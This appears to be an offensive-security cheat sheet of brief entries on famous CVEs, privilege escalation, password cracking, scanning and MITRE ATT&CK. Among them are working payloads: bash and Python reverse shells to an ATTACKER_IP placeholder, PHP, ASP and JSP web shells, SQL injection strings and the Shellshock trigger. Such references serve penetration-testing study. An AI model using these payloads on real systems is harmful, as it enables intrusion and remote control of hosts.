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CVE-2017-0144: EternalBlue SMBv1 buffer overflow. Exploits improper handling of crafted packets in Microsoft SMBv1 server. Shellcode executes via crafted transaction requests that overflow kernel memory. |
CVE-2014-0160: Heartbleed OpenSSL memory leak. Missing bounds check in TLS heartbeat extension allows reading up to 64KB of server memory including private keys. |
CVE-2014-6271: Shellshock Bash arbitrary command execution via crafted environment variables starting with () { :; }; followed by commands. |
Buffer overflow exploit technique: Overwrite return address on stack with address of shellcode. Use NOP sled (0x90) for alignment. ASLR bypass via info leak, DEP bypass via ROP chains. |
SQL Injection: Union-based ' UNION SELECT 1,table_name,3 FROM information_schema.tables--. Blind: AND 1=1 vs AND 1=2 time-based: AND SLEEP(5). Error-based: extractvalue(1,concat(0x7e,version())). |
Privilege escalation Linux: SUID binary exploitation (find / -perm -4000). Kernel exploits (dirtycow CVE-2016-5195). Sudo misconfigurations. Cron job hijacking. Writable /etc/passwd. |
Privilege escalation Windows: Token impersonation (SeImpersonatePrivilege). Unquoted service paths. AlwaysInstallElevated registry key. DLL hijacking. Stored credentials in memory with mimikatz. |
Reverse shell payloads: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. python -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])' |
Web shell techniques: PHP <?php system($_GET[\'cmd\']); ?>. ASP <% eval request("cmd") %>. JSP <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> |
Password attacks: Hashcat modes 0 (MD5) 1000 (NTLM) 1400 (SHA256) 3200 (bcrypt). John the Ripper: single crack, wordlist with rules, incremental mode. Rainbow tables for unsalted hashes. |
Network scanning: Nmap -sS (SYN stealth) -sV (version) -sC (default scripts) -p- (all ports) -O (OS detection) -A (aggressive). Masscan for fast scanning. RustScan for speed. |
MITRE ATT&CK framework: Recon (T1595), Resource Development (T1583), Initial Access (T1190 Exploit Public App, T1566 Phishing), Execution (T1059 Command/Script), Persistence (T1547 Boot/Logon), Privilege Escalation (T1068 Exploitation), Defense Evasion (T1027 Obfuscation), Credential Access (T1003 OS Dump), Discovery (... |
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